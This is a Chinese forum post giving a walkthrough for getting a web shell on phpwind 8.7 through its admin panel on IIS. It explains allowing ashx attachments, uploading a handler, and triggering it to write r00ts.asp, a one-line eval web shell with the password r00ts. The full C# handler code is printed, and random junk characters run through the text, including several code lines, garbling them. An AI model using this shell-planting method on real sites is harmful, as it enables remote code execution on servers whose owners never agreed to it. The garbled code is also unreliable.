phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小

% m: h( B1 I/ s" S群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
( v1 k8 O2 A# b6 T$ P! K
发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
' p7 l' s+ J& g5 i) K5 b1 N0 _; U
; ^5 W4 _% k6 b" P7 q7 _然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx

打开之后空白 会在目录底下生成r00ts.asp 密码r00ts
5 S, T, z0 D- J& @: E! b
下面是代码:
  E, P5 E7 z: S4 t! U
<%@ WebHandler Language="C#"Class="Handler" %>
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
) C: p: z# r' v  |public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
file1.Write("<%eval request(\"r00ts\")%>");
file1.Flush();
) ^1 Z5 w1 a) ^0 Jfile1.Close();
! L  j* E% b  c}
: ]% a6 D) M  N; b/ Vpublic bool IsReusable {
get {
/ S1 M% j4 N" H. z* l- m9 ereturn false;
}
& k  q* i; A. f9 i$ w5 a, ?9 G}
: t( e- \% V" D/ x}